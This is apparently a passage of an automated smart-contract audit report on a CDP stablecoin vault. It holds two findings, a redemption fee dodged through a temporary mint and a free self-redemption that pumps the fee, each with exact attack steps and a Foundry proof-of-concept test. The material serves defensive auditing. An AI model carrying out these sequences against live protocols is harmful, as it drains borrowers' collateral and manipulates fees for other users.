          vault.redeem(100 ether, 0, address(0));
  
          _fund(ATTACKER, 1000 ether);
          vm.startPrank(ATTACKER);
          vault.depositCollateral(1000 ether);
          (bool ok,) = address(vault).call(abi.encodeCall(vault.redeem, (100 ether, 0, address(0))));
          vault.withdrawCollateral(1000 ether);
          vm.stopPrank();
          assertFalse(ok, "debt-free deposit let a backing-worsening redemption through");
      }
  }

  whole proof

• mediumRedemption fee increase is taken against a supply the redeemer can inflate for free, so a run pays ~the floor instead of the rising feesrc/CDPVault.sol:464

  _redemptionRate raises the base rate by amount / totalSupply / 4, reading totalSupply at call time. mintCOMP has no origination fee and the stability fee is linear in elapsed time (zero within a block), so a redeemer can deposit collateral, mint a large amount of COMP, redeem, repay the same COMP and withdraw, all at zero cost.

  The temporary mint dilutes 'the redeemed fraction of total supply', so a redemption that the approved brief prices near the 500 bps cap is charged close to the 50 bps floor.

  Because the fee is retained in the redeemed position, the difference is taken from the borrower whose collateral is released, and the redeemer extracts more IMD per COMP than the fee-adjusted feed price the brief specifies for that size of redemption (review question: 'extract more than the fee-adjusted feed price'). It also disables the 'a run pays progressively more' property.

  Assumption violated: 'totalSupply at the time of the call is the supply the redemption is a fraction of'. A fix must keep the fee formula, floor and cap: for example measure the fraction against supply net of COMP minted in the same transaction (the vault already keeps a transaction-start snapshot of totalDebt for the work ceiling), which preserves the agreed economics.

  whole finding

  ParameterizedVault, IMD = 1 USD, NHI 0.85 (minCR 150, ceiling 200).

  BORROWER deposits 480 IMD, mints 300 COMP (CR 160, eligible) and transfers 60 COMP to REDEEMER. redemptionFeeBps(60e18) = 500, i.e. an honest redeem(60e18) pays 57 IMD.

  REDEEMER instead: depositCollateral(9000e18); mintCOMP(3000e18); redeem(60e18, 0, BORROWER); repayCOMP(3000e18); withdrawCollateral(9000e18).

  Expected: at most 57 IMD out (fee 500 bps).

  Actual: 59.43 IMD out (fee 95 bps); REDEEMER ends with all 9000 IMD back plus 59.43 IMD and no COMP or debt; BORROWER retains 0.57 IMD of fee instead of 3.

  Proof test: test/scratch/SupplyInflationFeeDodge.t.sol fails with 'temporary supply inflation let the redeemer dodge the run fee: 59430000000000000000 > 57000000000000000000'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
  import {MockIMD} from "src/MockIMD.sol";
  import {CompToken} from "src/CompToken.sol";
  import {MockWorkOracle} from "src/MockWorkOracle.sol";
  import {ParameterizedVault} from "src/ParameterizedVault.sol";
  import {CDPVault} from "src/CDPVault.sol";
  import {Parameters} from "src/Parameters.sol";
  import {Treasury} from "src/Treasury.sol";
  import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
  import {APPROVED_OPERATOR, CHAINLINK_ETH_USD} from "src/DeploymentConfig.sol";
  
  contract FixedFeed is ISwarmFeed {
      uint256 public constant maxAge = 1 days;
      uint256 private value;
  
      constructor(uint256 v) {
          value = v;
      }
  
      function set(uint256 v) external {
          value = v;
      }
  
      function latestValue() external view returns (uint256, uint64) {
          return (value, uint64(block.timestamp));
      }
  
      function isStale() external pure returns (bool) {
          return false;
      }
  }
  
  contract FreshEthUsd {
      uint8 public constant decimals = 8;
  
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 2000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  abstract contract Base is Test {
      MockIMD internal imd;
      ParameterizedVault internal vault;
      CompToken internal comp;
      Treasury internal treasury;
      Parameters internal parameters;
      FixedFeed internal primary;
      FixedFeed internal spot;
      FixedFeed internal nhi;
  
      function setUp() public virtual {
          vm.warp(1_000_000);
          vm.etch(CHAINLINK_ETH_USD, address(new FreshEthUsd()).code);
          imd = new MockIMD();
          // 1 USD per IMD at 2000 USD per ETH.
          primary = new FixedFeed(uint256(1e18) / 2000);
          spot = new FixedFeed(uint256(1e18) / 2000);
          nhi = new FixedFeed(0.85e18);
          vault = new ParameterizedVault(address(imd), address(0), address(0), address(primary), address(nhi), address(spot));
          comp = vault.compToken();
          treasury = vault.treasury();
          parameters = vault.parameters();
      }
  
      function _fund(address who, uint256 amount) internal {
          vm.prank(APPROVED_OPERATOR);
          imd.mint(who, amount);
          vm.prank(who);
          imd.approve(address(vault), type(uint256).max);
      }
  }
  
  contract SupplyInflationFeeDodgeTest is Base {
      address internal constant BORROWER = address(0xBA);
      address internal constant REDEEMER = address(0xA77);
  
      function test_temporaryMintDilutesTheRunFee() public {
          // 300 COMP outstanding against an eligible position (CR 160 < ceiling 200).
          _fund(BORROWER, 480 ether);
          vm.startPrank(BORROWER);
          vault.depositCollateral(480 ether);
          vault.mintCOMP(300 ether);
          comp.transfer(REDEEMER, 60 ether);
          vm.stopPrank();
  
          // Redeeming 60 of 300 (20% of supply) is quoted at the 500 bps cap.
          uint256 honestFee = vault.redemptionFeeBps(60 ether);
          assertEq(honestFee, 500);
          uint256 honestOut = 60 ether * (10_000 - honestFee) / 10_000;
  
          // The redeemer borrows 3000 COMP against temporary collateral, redeems, then unwinds.
          _fund(REDEEMER, 9000 ether);
          vm.startPrank(REDEEMER);
          vault.depositCollateral(9000 ether);
          vault.mintCOMP(3000 ether);
          uint256 out = vault.redeem(60 ether, 0, BORROWER);
          vault.repayCOMP(3000 ether);
          vault.withdrawCollateral(9000 ether);
          vm.stopPrank();
  
          emit log_named_uint("out", out);
          assertEq(comp.balanceOf(REDEEMER), 0);
          assertEq(imd.balanceOf(REDEEMER), 9000 ether + out);
          assertLe(out, honestOut, "temporary supply inflation let the redeemer dodge the run fee");
      }
  }

  whole proof

• mediumRedeeming against one's own position is free, so anyone can pin the redemption fee at its 500 bps cap at no cost (peg floor drops from 0.995 to 0.95)src/CDPVault.sol:395

  redeem accepts any eligible candidate, including the caller's own position (or a second address the caller controls), and the fee is 'retained as backing' inside the candidate's position (CDPVault.sol:433 subtracts only the fee-discounted imdOut from position.collateral). When redeemer and candidate are the same party the fee is paid to oneself: the call is economically repayCOMP + withdrawCollateral, yet it still raises redemptionBaseRate by redeemed/supply/4 for everyone.

  A party with temporary capital can therefore mint COMP at a ratio inside the eligible band, redeem it against itself and withdraw, ending exactly where it started while the base rate sits at the cap; repeating it roughly once per half-life keeps the fee far above the floor indefinitely. The brief states the floor IS the peg and that a governable cap would be 'a redemption halt with extra steps'; here the cap is reachable by any third party for gas.

  Assumption violated: 'raising the base rate costs the redeemer the fee'. It is costless whenever Treasury IMD is empty (the launch state) and costs only fee x reserve otherwise. Refusing candidate == msg.sender alone does not close it (two addresses).

  This follows from retaining the fee in the redeemed position, which the brief asks for, so the fix needs a scope decision: e.g. do not count a redemption toward the base rate to the extent the debt cancelled was minted in the same transaction, or exclude same-transaction-minted supply as in the previous finding; the floor, cap and retained-fee design stay.

  whole finding

  ParameterizedVault, IMD = 1 USD, NHI 0.85, Treasury empty.

  BORROWER deposits 400 IMD and mints 200 COMP; redemptionFeeBps(0) = 50.

  ATTACKER with 160 IMD: depositCollateral(160e18); mintCOMP(100e18) (CR 160 < ceiling 200); redeem(100e18, 0, ATTACKER) (burns the 100 COMP, cancels the 100 debt, pays 95 IMD from its own collateral, leaves 65 IMD in its position); withdrawCollateral(65e18).

  Expected: either the round trip costs the attacker the fee, or the fee quoted to others is unchanged.

  Actual: ATTACKER holds exactly 160 IMD, 0 COMP, 0 debt (zero cost) and redemptionFeeBps(0) is now 500 for every other redeemer, decaying only with the 12 h half-life (still 275 bps twelve hours later).

  Proof test: test/scratch/SelfRedeemFeePump.t.sol fails with 'costless round trip raised everyone's fee'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
  import {MockIMD} from "src/MockIMD.sol";
  import {CompToken} from "src/CompToken.sol";
  import {MockWorkOracle} from "src/MockWorkOracle.sol";
  import {ParameterizedVault} from "src/ParameterizedVault.sol";
  import {CDPVault} from "src/CDPVault.sol";
  import {Parameters} from "src/Parameters.sol";
  import {Treasury} from "src/Treasury.sol";
  import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
  import {APPROVED_OPERATOR, CHAINLINK_ETH_USD} from "src/DeploymentConfig.sol";
  
  contract FixedFeed is ISwarmFeed {
      uint256 public constant maxAge = 1 days;
      uint256 private value;
  
      constructor(uint256 v) {
          value = v;
      }
  
      function set(uint256 v) external {
          value = v;
      }
  
      function latestValue() external view returns (uint256, uint64) {
          return (value, uint64(block.timestamp));
      }
  
      function isStale() external pure returns (bool) {
          return false;
      }
  }
  
  contract FreshEthUsd {
      uint8 public constant decimals = 8;
  
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 2000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  abstract contract Base is Test {
      MockIMD internal imd;
      ParameterizedVault internal vault;
      CompToken internal comp;
      Treasury internal treasury;
      Parameters internal parameters;
      FixedFeed internal primary;
      FixedFeed internal spot;
      FixedFeed internal nhi;
  
      function setUp() public virtual {
          vm.warp(1_000_000);
          vm.etch(CHAINLINK_ETH_USD, address(new FreshEthUsd()).code);
          imd = new MockIMD();
          // 1 USD per IMD at 2000 USD per ETH.
          primary = new FixedFeed(uint256(1e18) / 2000);
          spot = new FixedFeed(uint256(1e18) / 2000);
          nhi = new FixedFeed(0.85e18);
          vault = new ParameterizedVault(address(imd), address(0), address(0), address(primary), address(nhi), address(spot));
          comp = vault.compToken();
          treasury = vault.treasury();
          parameters = vault.parameters();
      }
  
      function _fund(address who, uint256 amount) internal {
          vm.prank(APPROVED_OPERATOR);
          imd.mint(who, amount);
          vm.prank(who);
          imd.approve(address(vault), type(uint256).max);
      }
  }
  
  contract SelfRedeemFeePumpTest is Base {
      address internal constant BORROWER = address(0xBA);
      address internal constant ATTACKER = address(0xA77);
      address internal constant WORKER = address(0xCA);
  
      function test_selfRedeemPumpsFeeForFree() public {
          _fund(BORROWER, 400 ether);
          vm.startPrank(BORROWER);
          vault.depositCollateral(400 ether);
          vault.mintCOMP(200 ether);
          vm.stopPrank();
          assertEq(vault.redemptionFeeBps(0), 50);
  
          _fund(ATTACKER, 160 ether);
          vm.startPrank(ATTACKER);
          vault.depositCollateral(160 ether);
          vault.mintCOMP(100 ether);
          vault.redeem(100 ether, 0, ATTACKER);
          (uint256 c, uint256 d) = vault.positions(ATTACKER);
          assertEq(d, 0);
          vault.withdrawCollateral(c);
          vm.stopPrank();
          bool costless = imd.balanceOf(ATTACKER) == 160 ether;
          assertTrue(!costless || vault.redemptionFeeBps(0) == 50, "costless round trip raised everyone's fee");
      }
  }

  whole proof

Failed on the agent's machine.